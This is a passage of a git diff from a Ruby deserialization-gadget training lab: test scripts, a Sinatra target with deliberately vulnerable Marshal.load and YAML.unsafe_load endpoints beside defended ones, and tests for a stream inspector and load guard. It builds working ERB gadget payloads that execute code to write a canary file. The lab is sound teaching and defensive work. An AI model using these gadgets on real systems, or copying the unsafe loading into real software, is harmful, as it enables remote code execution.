Base64.strict_encode64(Marshal.dump({ user: "guest", template: "hello" })) +')" +legitimate="$(client /render/safe "session_state=${benign}")" +echo " benign on defended : $(status_of "${legitimate}") $(body_of "${legitimate}")" +if [[ "$(status_of "${legitimate}")" == "200" && + "$(body_of "${legitimate}")" == "rendered template for guest" ]]; then + pass "defended endpoint still serves a legitimate session with an exact body" else - benign_body="$(curl -s --cookie "session_state=${benign}" "${BASE}/render/safe")" - echo " benign on defended : ${benign_body}" - if [[ "${benign_body}" == rejected* ]]; then - echo " FAIL defended endpoint rejects legitimate sessions, it is not a filter" - failures=$((failures + 1)) - else - echo " PASS defended endpoint still serves a legitimate session" - fi + fail "defended endpoint does not serve legitimate sessions, it is not a filter" fi echo +echo "=== 4 every response is a contract, not a prefix ===" encode() { - docker run --rm --network none ruby:4.0-slim \ + docker run --rm --network none "${BUILD_IMAGE}" \ ruby -e "require \"base64\"; print Base64.strict_encode64(Marshal.dump($1))" } -for root in '"plain string"' 'nil' '[1, 2]' '{ user: "x" }'; do - body_file="$(mktemp)" - code="$(curl -s -o "${body_file}" -w '%{http_code}' \ - -H "Cookie: session_state=$(encode "${root}")" "${BASE}/render/safe")" - body="$(head -c 80 "${body_file}")" - rm -f "${body_file}" - echo " defended on root ${root} : HTTP ${code} ${body}" - if [[ "${code}" == "500" ]]; then - echo " FAIL the defence accepted this root and then crashed compiling it" - failures=$((failures + 1)) +check_contract() { + local label="$1" path="$2" cookie="$3" want_status="$4" want_body="$5" + local response status body + response="$(client "${path}" "${cookie}")" + status="$(status_of "${response}")" + body="$(body_of "${response}")" + printf ' %-34s HTTP %-4s %s\n' "${label}" "${status}" "${body:0:56}" + if [[ "${status}" == "${want_status}" && "${body}" == ${want_body} ]]; then + pass "${label}" + else + fail "${label}: wanted HTTP ${want_status} matching '${want_body}'" fi +} + +for root_value in '"plain string"' 'nil' '[1, 2]' '{ user: "x" }'; do + check_contract "root ${root_value} is refused" /render/safe \ + "session_state=$(encode "${root_value}")" 400 'rejected: payload is not a session hash' done -echo -leak_file="$(mktemp)" -curl -s -o "${leak_file}" -H "Cookie: session_state=$(encode 'nil')" "${BASE}/render/safe" -curl -s -o "${leak_file}.v" -H "Cookie: session_state=$(encode 'nil')" "${BASE}/render" -if grep -qE "app\.rb|/app/lib|marshalsea/marshal" "${leak_file}" "${leak_file}.v"; then - echo " FAIL an error response leaked source paths or source lines" - failures=$((failures + 1)) -else - echo " PASS error responses leak no source path or source line" -fi -rm -f "${leak_file}" "${leak_file}.v" +check_contract "no cookie is refused" /render/safe "" 400 "no session cookie" +check_contract "malformed base64 is refused" /render/safe "session_state=!!!not-base64!!!" \ + 400 "no session cookie" echo +echo "=== 4b the same lesson in YAML ===" +yaml_payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \ + ruby -Ilib -e ' +require "marshalsea" +require "base64" +src = "#\nend\nFile.write(%q{/tmp/marshalsea-canary}, %q{fired})\ndef _unused\n" +document = <<~YAML + --- + :user: attacker + :template: !ruby/object:ERB + src: #{src.inspect} + filename: "(erb)" + lineno: 0 +YAML +print Base64.strict_encode64(document) +')" + +docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true +yaml_before="$(body_of "$(client /canary)")" +yaml_vuln="$(client /yaml/unsafe "session_state=${yaml_payload}")" +yaml_after="$(body_of "$(client /canary)")" +echo " yaml unsafe endpoint: $(status_of "${yaml_vuln}") $(body_of "${yaml_vuln}")" +echo " canary before/after : ${yaml_before} -> ${yaml_after}" +if [[ "${yaml_before}" != "${CANARY_MARKER}" && "${yaml_after}" == "${CANARY_MARKER}" ]]; then + pass "YAML.unsafe_load reaches the same code execution as Marshal.load" +else + fail "the YAML payload did not execute over HTTP" +fi + +docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true +yaml_safe="$(client /yaml/safe "session_state=${yaml_payload}")" +yaml_safe_after="$(body_of "$(client /canary)")" +echo " yaml safe endpoint : $(status_of "${yaml_safe}") $(body_of "${yaml_safe}")" +if [[ "$(status_of "${yaml_safe}")" == "400" && "${yaml_safe_after}" != "${CANARY_MARKER}" && + "$(body_of "${yaml_safe}")" == *"ERB"* ]]; then + pass "the YAML defence names ERB and creates no canary" +else + fail "the YAML defence did not reject the identical document" +fi + +aliased="$(docker run --rm --network none "${BUILD_IMAGE}" ruby -e ' +require "base64" +print Base64.strict_encode64("---\n:user: &u guest\n:template: *u\n") +')" +alias_body="$(client /yaml/safe "session_state=${aliased}")" +echo " inspector-approved, Psych-refused: $(status_of "${alias_body}") $(body_of "${alias_body}")" +if [[ "$(status_of "${alias_body}")" == "400" && + "$(body_of "${alias_body}")" == *"Psych refused"* ]]; then + pass "Psych's own veto is live and not alibied by the inspector" +else + fail "the inspector approved this document and nothing else stopped it" +fi + +echo +echo "=== 5 the class allowlist, not a parse error ===" class_named() { - docker run --rm --network none ruby:4.0-slim ruby -e " + docker run --rm --network none "${BUILD_IMAGE}" ruby -e " require \"base64\" def sym(n) = \":\" + (n.bytesize + 5).chr + n def str(s) = %q(\") + (s.bytesize + 5).chr + s @@ -155,25 +259,40 @@ print Base64.strict_encode64($1) } for probe in 'Marshal.dump(Object.new)' '("\x04\x08C" + sym("String") + str("hi")).b'; do - named_body="$(curl -s -H "Cookie: session_state=$(class_named "${probe}")" "${BASE}/render/safe")" - echo " class-named stream : ${named_body}" - if [[ "${named_body}" == *"unapproved class"* ]]; then - echo " PASS refused on the class name itself, not on a parse error" + named="$(client /render/safe "session_state=$(class_named "${probe}")")" + echo " class-named stream : $(status_of "${named}") $(body_of "${named}")" + if [[ "$(status_of "${named}")" == "400" && "$(body_of "${named}")" == *"unapproved class"* ]]; then + pass "refused on the class name itself, not on a parse error" else - echo " FAIL PERMITTED_CLASS_NAMES admitted a class name, or something else rejected it first" - failures=$((failures + 1)) + fail "PERMITTED_CLASS_NAMES admitted a class name, or something else rejected it first" fi done echo -sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \ +echo "=== 6 error responses leak nothing ===" +leaked=0 +for probe in "session_state=$(encode 'nil')" "session_state=!!!"; do + for path in /render /render/safe; do + body="$(body_of "$(client "${path}" "${probe}")")" + if echo "${body}" | grep -qE "app\.rb|/app/lib|marshalsea/marshal"; then + leaked=1 + fi + done +done +if [[ ${leaked} -eq 0 ]]; then + pass "error responses leak no source path or source line" +else + fail "an error response leaked source paths or source lines" +fi + +echo +echo "=== 7 the chain carries no sink tag ===" +sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \ ruby -Ilib -e ' require "marshalsea" -require "base64" chain = Marshalsea::Chains::ErbDefMethod.canary("/tmp/marshalsea-canary", "fired") blob = Marshal.dump({ user: "attacker", template: chain.generate }) -result = Marshalsea::Marshal::Parser.new(blob).parse -print result.sinks.length +print Marshalsea::Marshal::Parser.new(blob).parse.sinks.length ')" echo " sink-tag hits on the working payload : ${sinks}" @@ -182,8 +301,7 @@ if [[ "${sinks}" == "0" ]]; then echo " allowlist does. ERB defines no marshal_load, so it serializes as" echo " a plain object and carries no sink tag." else - echo " FAIL expected the ERB chain to carry no sink tag, got ${sinks}" - failures=$((failures + 1)) + fail "expected the ERB chain to carry no sink tag, got ${sinks}" fi echo diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/target_client.rb b/PROJECTS/beginner/deserialization-gadget-lab/scripts/target_client.rb new file mode 100644 index 00000000..7e5c57f5 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/target_client.rb @@ -0,0 +1,31 @@ +# ©AngelaMos | 2026 +# target_client.rb +# frozen_string_literal: true + +require "net/http" +require "uri" + +FIELD_SEPARATOR = "\t" +BODY_SEPARATOR = "\n" +TRANSPORT_FAILURE = "000" +OPEN_TIMEOUT = 5 +READ_TIMEOUT = 10 + +path = ARGV.fetch(0) +cookie = ARGV[1] + +uri = URI.parse("#{ENV.fetch('TARGET_BASE')}#{path}") +request = Net::HTTP::Get.new(uri) +request["Cookie"] = cookie if cookie && !cookie.empty? + +begin + response = Net::HTTP.start(uri.hostname, uri.port, + open_timeout: OPEN_TIMEOUT, read_timeout: READ_TIMEOUT) do |http| + http.request(request) + end + print "#{response.code}#{FIELD_SEPARATOR}#{response.body.to_s.length}#{BODY_SEPARATOR}" + print response.body +rescue StandardError => e + print "#{TRANSPORT_FAILURE}#{FIELD_SEPARATOR}0#{BODY_SEPARATOR}" + print "#{e.class}: #{e.message}" +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile b/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile index 42d71d80..817fe8ec 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile @@ -3,7 +3,11 @@ FROM ruby:4.0.2-slim -RUN gem install --no-document sinatra rackup webrick +RUN gem install --no-document \ + rack:3.2.6 \ + sinatra:4.2.1 \ + rackup:2.3.1 \ + webrick:1.9.2 WORKDIR /app diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb b/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb index b1277a97..a15b0459 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb @@ -5,6 +5,7 @@ require "sinatra/base" require "base64" require "erb" +require "yaml" require "marshalsea" module Marshalsea @@ -28,10 +29,20 @@ module Marshalsea limits: Marshalsea::Marshal::Limits.new ) + INSPECTOR = Marshalsea::Psych::Inspector.new( + permitted_class_names: PERMITTED_CLASS_NAMES, + limits: Marshalsea::Psych::Limits.new + ) + + YAML_PERMITTED_CLASSES = [Symbol].freeze + REFUSED_BY_PSYCH = "Psych refused the tag before reviving it: %s" + REJECTED = "rejected: %s" RENDERED = "rendered template for %s" NO_SESSION = "no session cookie" NOT_A_SESSION = "payload is not a session hash" + REFUSED_BY_LOADER = "stream passed inspection and Marshal.load still refused it" + LOADER_REFUSED = Object.new.freeze class App < Sinatra::Base set :host_authorization, permitted_hosts: [] @@ -48,6 +59,8 @@ module Marshalsea "POST /session issue a benign session cookie", "GET /render deserialize and compile the session template (VULNERABLE)", "GET /render/safe inspect the stream before deserializing (DEFENDED)", + "GET /yaml/unsafe YAML.unsafe_load the same session (VULNERABLE)", + "GET /yaml/safe inspect, then YAML.safe_load, which vetoes the tag (DEFENDED)", "GET /canary report whether the canary file exists" ].join("\n") end @@ -76,12 +89,32 @@ module Marshalsea decision = DETECTOR.inspect_stream(blob) halt STATUS_BAD_REQUEST, format(REJECTED, decision.reason) unless decision.proceed? - state = ::Marshal.load(decision.snapshot) + state = revive(decision.snapshot) + halt STATUS_BAD_REQUEST, format(REJECTED, REFUSED_BY_LOADER) if state.equal?(LOADER_REFUSED) halt STATUS_BAD_REQUEST, format(REJECTED, NOT_A_SESSION) unless session?(state) compile(state) end + get "/yaml/unsafe" do + content_type CONTENT_TYPE + document = decode(request.cookies[COOKIE_NAME]) + halt STATUS_BAD_REQUEST, NO_SESSION unless document + + compile(::YAML.unsafe_load(document)) + end + + get "/yaml/safe" do + content_type CONTENT_TYPE + document = decode(request.cookies[COOKIE_NAME]) + halt STATUS_BAD_REQUEST, NO_SESSION unless document + + decision = INSPECTOR.inspect_document(document) + halt STATUS_BAD_REQUEST, format(REJECTED, decision.reason) unless decision.proceed? + + compile(safe_load(document)) + end + get "/canary" do content_type CONTENT_TYPE File.exist?(CANARY_PATH) ? File.read(CANARY_PATH) : "absent" @@ -101,6 +134,18 @@ module Marshalsea nil end + def safe_load(document) + ::YAML.safe_load(document, permitted_classes: YAML_PERMITTED_CLASSES, aliases: false) + rescue ::Psych::DisallowedClass, ::Psych::AliasesNotEnabled, ::Psych::SyntaxError => e + halt STATUS_BAD_REQUEST, format(REJECTED, format(REFUSED_BY_PSYCH, e.class)) + end + + def revive(blob) + ::Marshal.load(blob) + rescue ArgumentError, TypeError + LOADER_REFUSED + end + def session?(state) state.is_a?(Hash) && SESSION_KEYS.all? { |key| state.key?(key) } end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/chain.Dockerfile b/PROJECTS/beginner/deserialization-gadget-lab/target/chain.Dockerfile new file mode 100644 index 00000000..a20c7454 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/chain.Dockerfile @@ -0,0 +1,9 @@ +# ©AngelaMos | 2026 +# chain.Dockerfile + +ARG RUBY_IMAGE=ruby:4.0.2-slim +FROM ${RUBY_IMAGE} + +RUN gem install --no-document activesupport:8.1.3.1 + +WORKDIR /app diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb index e8419bf0..7823ff13 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/chains_test.rb @@ -14,8 +14,38 @@ module Marshalsea ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER) end - def test_registry_excludes_the_base_class - refute_includes Chains.all, Base + def test_the_registry_holds_only_descendants_of_base + refute_empty Chains.all, "control: an empty registry would make this vacuous" + assert(Chains.all.all? { |chain| chain < Base }, + "Base never registers itself, so filtering it out afterwards was never live code") + end + + def test_every_chain_file_on_disk_is_registered + root = File.expand_path("../lib/marshalsea/chains", __dir__) + on_disk = Dir[File.join(root, "*.rb")].map { |path| File.basename(path, ".rb") } - ["base"] + registered = Chains.all.map(&:chain_name) + + refute_empty on_disk, "control: the directory must contain a chain to discover" + missing = on_disk.reject { |file| registered.include?(file.tr("_", "-")) } + assert_empty missing, + "the directory is the chain identity, so a file nobody requires by hand " \ + "must still be discovered: #{missing.join(', ')}" + end + + def test_the_published_ranges_cannot_be_rewritten_through_metadata + assert_predicate ErbDefMethod::AFFECTED, :frozen? + assert(ErbDefMethod::AFFECTED.all?(&:frozen?), + "Array#freeze is shallow, so a nested range stays writable unless frozen too") + + assert_raises(FrozenError) { ErbDefMethod.metadata[:affected][2] << "< 4.0.0" } + assert_raises(FrozenError) { ErbDefMethod.metadata[:affected] << ["< 9.9.9"] } + assert_raises(FrozenError) { ErbDefMethod.metadata[:cve] = "CVE-0000-0000" } + end + + def test_the_ranges_still_classify_after_a_rejected_mutation + assert ErbDefMethod.affects?("5.0.0"), + "control: a mutation that silently succeeded would move this boundary" + refute ErbDefMethod.affects?("6.0.4") end def test_registry_contains_the_erb_chain @@ -30,6 +60,89 @@ module Marshalsea assert_raises(UnknownChainError) { Chains.find("no-such-chain") } end + class KeyPositionProbe < Base + PROBE_METADATA = { + name: "key-position-probe", vector: "hash", cve: "none", gem: "none", + affected: [["> 0"]].freeze, kind: Base::KIND_CHAIN + }.freeze + + def self.metadata = PROBE_METADATA + + def generate = Object.new + + def serialize = in_hash_key_position(generate) + end + + class RepeatedObjectProbe < KeyPositionProbe + def generate + shared = +"repeated" + [shared, shared] + end + end + + def test_a_spliced_key_position_stream_is_byte_correct + blob = KeyPositionProbe.new.serialize + revived = ::Marshal.load(blob) + + assert_kind_of Hash, revived + assert_equal 1, revived.length + assert_kind_of Object, revived.keys.first + assert_nil revived.values.first + end + + def test_a_spliced_stream_really_puts_the_payload_in_key_position + result = Marshalsea::Marshal::Parser.new(KeyPositionProbe.new.serialize).parse + + refute_empty result.hash_dispatching_keys, + "the whole point of the splice is that #hash runs on load" + end + + def test_the_splice_refuses_a_graph_whose_link_indices_would_shift + error = assert_raises(ObjectLinkRefusedError) { RepeatedObjectProbe.new.serialize } + + assert_includes error.message, "object link" + end + + def test_control_the_refused_graph_really_does_carry_an_object_link + graph = Marshalsea::Marshal::Parser.new(::Marshal.dump(RepeatedObjectProbe.new.generate)).parse + + assert(graph.nodes.any? { |node| node.type == :object_link }, + "control: without a link in the fixture the guard test proves nothing") + end + + def test_the_two_erb_payloads_are_labelled_by_kind + assert_predicate ErbDefMethod, :primitive? + refute_predicate ErbDefMethod, :chain? + assert_predicate ErbDefModule, :chain? + refute_predicate ErbDefModule, :primitive? + end + + def test_the_chain_declares_the_gem_it_needs_and_the_primitive_does_not + assert_equal ["activesupport"], ErbDefModule.required_gems + assert_empty ErbDefMethod.required_gems + end + + def test_the_two_payloads_enter_through_different_methods + assert_equal "def_method", ErbDefMethod.vector + assert_equal "hash", ErbDefModule.vector, + "the chain enters through an ungated #hash, which is why it needs no " \ + "application call" + end + + def test_dispatcher_availability_predicts_whether_the_chain_can_build + available = ErbDefModule.dispatcher_available? + built = begin + ErbDefModule.canary(CANARY_PATH, CANARY_MARKER).generate + true + rescue ChainError + false + end + + assert_equal available, built, + "the predicate must match reality in whichever environment this runs, " \ + "or a caller cannot tell whether activesupport is present" + end + def test_metadata_is_complete assert_equal "erb-def-method", ErbDefMethod.chain_name assert_equal "def_method", ErbDefMethod.vector diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/control_check.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/control_check.rb index 7794fbd8..3dcd9b9a 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/test/control_check.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/control_check.rb @@ -120,7 +120,7 @@ failures << "candidates lost" unless check("no candidate was silently dropped", unreadable = full.candidates.select(&:unreadable_source?) fails_open = !unreadable.empty? && - unreadable.all? { |c| c.gated? || !c.zero_arity? || c.reachable? } + unreadable.all? { |c| c.gated? || !c.entry_point? || !c.accepts_dispatch? || c.reachable? } failures << "unreadable fails open" unless check("an unreadable source fails open, never to inert", fails_open, "#{unreadable.length} candidates whose source could not be parsed") diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/boundary_detector_test.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/boundary_detector_test.rb index 5a94efb5..4a72bcb2 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/boundary_detector_test.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/boundary_detector_test.rb @@ -138,6 +138,56 @@ module Marshalsea assert_raises(ArgumentError) { detector(policy: :yolo) } end + def role_anomaly_streams + { + "ivar name is a fixnum" => AdversarialCorpus.stream("I#{AdversarialCorpus.str('a')}\x06i\x060"), + "ivar name is a string" => + AdversarialCorpus.stream("I#{AdversarialCorpus.str('a')}\x06#{AdversarialCorpus.str('n')}0"), + "ivar name is an array" => AdversarialCorpus.stream("I#{AdversarialCorpus.str('a')}\x06[\x000") + } + end + + def ruby_refuses?(bytes) + ::Marshal.load(bytes) + false + rescue ArgumentError, TypeError + true + end + + def test_no_stream_the_loader_refuses_is_ever_waved_through + refused = role_anomaly_streams.select { |_label, bytes| ruby_refuses?(bytes) } + assert_equal role_anomaly_streams.keys, refused.keys, + "control: these fixtures exist because Marshal.load refuses them" + + waved = role_anomaly_streams.select { |_label, bytes| detector.inspect_stream(bytes).proceed? } + assert_empty waved.keys, + "proceed? means the caller may load these bytes, and loading them raises. " \ + "The defended route then answers 500 instead of a rejection: #{waved.keys.join(', ')}" + end + + def test_a_role_anomaly_is_named_rather_than_reported_as_a_parse_failure + decision = detector.inspect_stream(role_anomaly_streams.fetch("ivar name is a fixnum")) + + assert_predicate decision, :blocked? + assert_includes decision.reason, "instance variable name slot holds fixnum" + refute_includes decision.reason, "Error", + "the parser accepted this on purpose so a hidden sink stays visible; " \ + "the reason must say what is wrong, not pretend parsing failed" + end + + def test_the_parser_still_returns_a_graph_for_a_role_anomaly + result = Parser.new(role_anomaly_streams.fetch("ivar name is an array")).parse + + refute_predicate result, :canonical_roles? + assert_equal 1, result.role_anomalies.length + refute_nil result.root, "the forensic graph must survive so a hidden sink stays reportable" + end + + def test_a_canonical_stream_carries_no_role_anomaly + assert_predicate Parser.new(benign_blob).parse, :canonical_roles?, + "control: an ordinary stream must not trip the role check" + end + def test_rejects_malformed_stream_with_a_named_reason decision = detector.inspect_stream("\x04\x08[\xFA") assert_predicate decision, :blocked? diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/load_guard_test.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/load_guard_test.rb new file mode 100644 index 00000000..89e2a20e --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/load_guard_test.rb @@ -0,0 +1,265 @@ +# ©AngelaMos | 2026 +# load_guard_test.rb +# frozen_string_literal: true + +require_relative "../test_helper" + +module Marshalsea + module Marshal + class LoadGuardTest < Minitest::Test + BODIES = [] + + class Permitted + def marshal_dump = ["payload"] + + def marshal_load(_data) + BODIES << "Permitted#marshal_load" + end + end + + class Gadget + def marshal_dump = ["payload"] + + def marshal_load(_data) + BODIES << "Gadget#marshal_load" + end + end + + class UserDefGadget + def _dump(_depth) = "opaque" + + def self._load(_data) + BODIES << "UserDefGadget._load" + allocate + end + end + + class MethodMissingGadget + def marshal_dump = ["payload"] + + def respond_to_missing?(name, include_private = false) + name == :marshal_load || super + end + + def method_missing(name, *args) + return BODIES << "MethodMissingGadget via method_missing" if name == :marshal_load + + super + end + end + + class KeyTrigger + def hash + BODIES << "KeyTrigger#hash" + 7 + end + + def eql?(_other) = false + end + + class Deferred + def to_s + BODIES << "Deferred#to_s" + "" + end + end + + def setup + BODIES.clear + end + + def guard(permitted: [], strict: false) + LoadGuard.new(permitted_class_names: permitted, strict: strict) + end + + def name_of(klass) = klass.name + + def key_trigger_blob + blob = ::Marshal.dump({ KeyTrigger.new => 1 }) + BODIES.clear + blob + end + + def test_it_vetoes_a_gadget_before_the_hook_body_runs + blob = ::Marshal.dump(Gadget.new) + + error = assert_raises(GuardedLoadError) { guard.load(blob) } + assert_includes error.message, "#{name_of(Gadget)}#marshal_load" + assert_empty BODIES, + "the veto is the whole point: a Marshal.load proc fires after the body, " \ + "a TracePoint on :call fires before it" + end + + def test_control_a_permitted_hook_runs_its_body + blob = ::Marshal.dump(Permitted.new) + + guard(permitted: [name_of(Permitted)]).load(blob) + assert_equal ["Permitted#marshal_load"], BODIES, + "control: a guard that blocks everything would pass the previous test " \ + "without proving anything" + end + + def test_control_a_benign_payload_passes_with_nothing_permitted + revived = guard.load(::Marshal.dump({ "a" => 1, "b" => ["x", :y, 2.5, nil, true] })) + + assert_equal({ "a" => 1, "b" => ["x", :y, 2.5, nil, true] }, revived) + assert_empty BODIES + end + + def test_it_vetoes_a_gadget_buried_at_depth + blob = ::Marshal.dump([[[{ "a" => [Gadget.new] }]]]) + + assert_raises(GuardedLoadError) { guard.load(blob) } + assert_empty BODIES, "nesting must not buy a gadget a pass" + end + + def test_it_vetoes_the_singleton_load_path + blob = ::Marshal.dump(UserDefGadget.new) + + error = assert_raises(GuardedLoadError) { guard.load(blob) } + assert_includes error.message, "_load" + assert_empty BODIES + end + + def test_it_vetoes_the_method_missing_evasion + blob = ::Marshal.dump(MethodMissingGadget.new) + + assert_raises(GuardedLoadError) { guard.load(blob) } + assert_empty BODIES, + "Marshal honours respond_to_missing?, so a hook list without " \ + "method_missing and respond_to_missing? is evaded by a proxy" + end + + def test_a_guard_that_has_not_run_reports_nothing + assert_empty guard.observations, + "an empty report must mean nothing was observed, never that a load " \ + "has not happened yet" + end + + def test_observations_name_every_hook_the_load_reached + subject = guard(permitted: [name_of(Permitted)]) + subject.load(::Marshal.dump([Permitted.new, Permitted.new])) + + assert_equal ["#{name_of(Permitted)}#marshal_load"] * 2, subject.observations.map(&:to_s) + assert(subject.observations.all?(&:permitted?)) + end + + def test_a_vetoed_load_still_records_what_it_saw + subject = guard + assert_raises(GuardedLoadError) { subject.load(::Marshal.dump(Gadget.new)) } + + refute_empty subject.observations, "an ensure block must record the observation that " \ + "caused the veto, or the report loses the reason" + refute_predicate subject.observations.first, :permitted? + end + + def test_the_default_hook_set_does_not_watch_the_hottest_methods + subject = guard + + assert subject.watches?(:marshal_load) + assert subject.watches?(:method_missing) + refute subject.watches?(:hash) + refute subject.watches?(:eql?) + end + + def test_documented_bypass_the_default_guard_misses_a_hash_key_trigger + guard.load(key_trigger_blob) + + assert_equal ["KeyTrigger#hash"], BODIES, + "the notice claims this bypass exists, so it must be demonstrable" + end + + def test_strict_mode_closes_the_hash_key_bypass + blob = key_trigger_blob + + assert_raises(GuardedLoadError) { guard(strict: true).load(blob) } + assert_empty BODIES + end + + def test_the_boundary_detector_catches_that_same_shape_before_any_bytes_load + decision = BoundaryDetector.new(allowed_class_names: [name_of(KeyTrigger)]) + .inspect_stream(key_trigger_blob) + + assert_predicate decision, :blocked?, + "the cheap place to catch a key-position gadget is before the load, " \ + "which is why the guard leaves #hash opt-in" + assert_empty BODIES + end + + def test_documented_bypass_a_class_with_no_hook_fires_after_the_window + subject = guard(permitted: []) + revived = subject.load(::Marshal.dump({ "template" => Deferred.new })) + + assert_empty subject.observations, "the guard sees nothing, because nothing is dispatched" + assert_empty BODIES + + format("%s", revived["template"]) + assert_equal ["Deferred#to_s"], BODIES, + "the guard covers the load window and nothing after it" + end + + def test_the_guard_relies_on_tracepoint_being_thread_scoped + blob = ::Marshal.dump(Permitted.new) + elsewhere = [] + here = [] + + watch_other = TracePoint.new(*LoadGuard::EVENTS) do |event| + elsewhere << event.method_id if LoadGuard::GATED_HOOKS.include?(event.method_id) + end + watch_other.enable { Thread.new { ::Marshal.load(blob) }.join } + + watch_here = TracePoint.new(*LoadGuard::EVENTS) do |event| + here << event.method_id if LoadGuard::GATED_HOOKS.include?(event.method_id) + end + watch_here.enable { ::Marshal.load(blob) } + + refute_empty here, "control: the same tracer must fire for a load on this thread" + assert_empty elsewhere, + "enable with a block defaults target_thread to the current thread, which " \ + "is why one request's guard does not tax the whole process" + end + + class HostileName + def self.name = raise(NameError, "name unavailable") + + def marshal_dump = ["payload"] + + def marshal_load(_data) + BODIES << "HostileName#marshal_load" + end + end + + def test_an_owner_that_refuses_to_name_itself_fails_closed + blob = ::Marshal.dump(HostileName.new) + + error = assert_raises(GuardedLoadError) { guard.load(blob) } + assert_includes error.message, LoadGuard::ANONYMOUS_OWNER, + "a class that raises from .name must not become permitted by accident" + assert_empty BODIES + end + + def test_control_an_owner_that_refuses_to_name_itself_cannot_be_permitted + blob = ::Marshal.dump(HostileName.new) + + assert_raises(GuardedLoadError) do + guard(permitted: [LoadGuard::ANONYMOUS_OWNER]).load(blob) + end + assert_empty BODIES, "the placeholder must not be spellable as an allowlist entry" + end + + def test_the_error_is_catchable_by_an_ordinary_rescue + assert_operator GuardedLoadError, :<, StandardError, + "SecurityError descends from Exception and would bypass every " \ + "rescue => e in the stack" + end + + def test_it_ships_a_notice_that_names_its_own_limits + notice = LoadGuard::LIMITATION_NOTICE + + assert_includes notice, "not a boundary" + assert_includes notice, "#hash" + assert_includes notice, "thread-scoped" + end + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/parser_test.rb b/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/parser_test.rb index e4f60c69..dcf13db3 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/parser_test.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/test/marshal/parser_test.rb @@ -372,6 +372,17 @@ module Marshalsea assert_equal %w[first second], node.children.map(&:value) end + def test_regexp_options_are_decoded_rather_than_discarded + insensitive = roundtrip(/ab/i) + plain = roundtrip(/ab/) + + assert_equal plain.value, insensitive.value, "control: the source bytes are identical" + refute_equal plain.regexp_options, insensitive.regexp_options, + "two regexps that differ only in their flags must not parse identically" + assert_equal 0, plain.regexp_options + assert_predicate insensitive.regexp_options, :positive? + end + def test_regexp_options_byte_is_not_mistaken_for_the_next_value node = roundtrip([/pattern/ix, :sentinel]) assert_equal :symbol, node.children.last.type @@ -460,6 +471,26 @@ module Marshalsea "control: permissive must admit it, or a ceiling is not what rejected it" end + def test_permissive_lifts_every_ceiling_except_the_stack_safety_one + lifted = Limits.permissive + axes = %i[max_bytes max_nodes max_registered_objects max_symbol_definitions + max_collection_entries max_scalar_bytes max_total_scalar_bytes + max_object_links max_symbol_references max_symbol_name_bytes + max_class_name_bytes max_instance_variables max_struct_members] + + bounded = axes.reject { |axis| lifted.public_send(axis) == Limits::UNBOUNDED } + assert_empty bounded, "permissive must lift these, one assertion per axis" + + assert_equal Limits::STACK_SAFE_MAX_DEPTH, lifted.max_depth, + "depth stays bounded on purpose: the parser recurses, so lifting it would " \ + "trade a rescuable DepthLimitError for an uncatchable SystemStackError" + assert_raises(DepthLimitError) do + Parser.new(AdversarialCorpus.stream( + AdversarialCorpus.array_nest(Limits::STACK_SAFE_MAX_DEPTH + 5) + "0" + ), limits: lifted).parse + end + end + def test_default_depth_ceiling_is_the_limits_value_not_the_permissive_one deep = AdversarialCorpus.stream(AdversarialCorpus.array_nest(Limits::DEFAULT_MAX_DEPTH + 5) + "0") @@ -574,7 +605,7 @@ module Marshalsea end def parser_predicts_dispatch?(key) - parse(::Marshal.dump({ key => nil })).dispatching_hash_keys.any? + parse(::Marshal.dump({ key => nil })).hash_dispatching_keys.any? end def test_hash_key_dispatch_prediction_matches_real_ruby @@ -593,6 +624,138 @@ module Marshalsea assert_empty mismatches, "parser disagrees with Marshal.load:\n #{mismatches.join("\n ")}" end + DISPATCHED = [] + + module RecordsBoth + def hash + DISPATCHED << :hash + 0 + end + + def eql?(_other) + DISPATCHED << :eql? + false + end + end + + class BothPlainKey + include RecordsBoth + end + + class BothStringKey < String + include RecordsBoth + end + + class BothArrayKey < Array + include RecordsBoth + end + + def collision_probes + { + "plain object (o)" => [BothPlainKey.new, BothPlainKey.new], + "String subclass (C)" => [BothStringKey.new("x"), BothStringKey.new("x")], + "Array subclass (C)" => [BothArrayKey.new([1]), 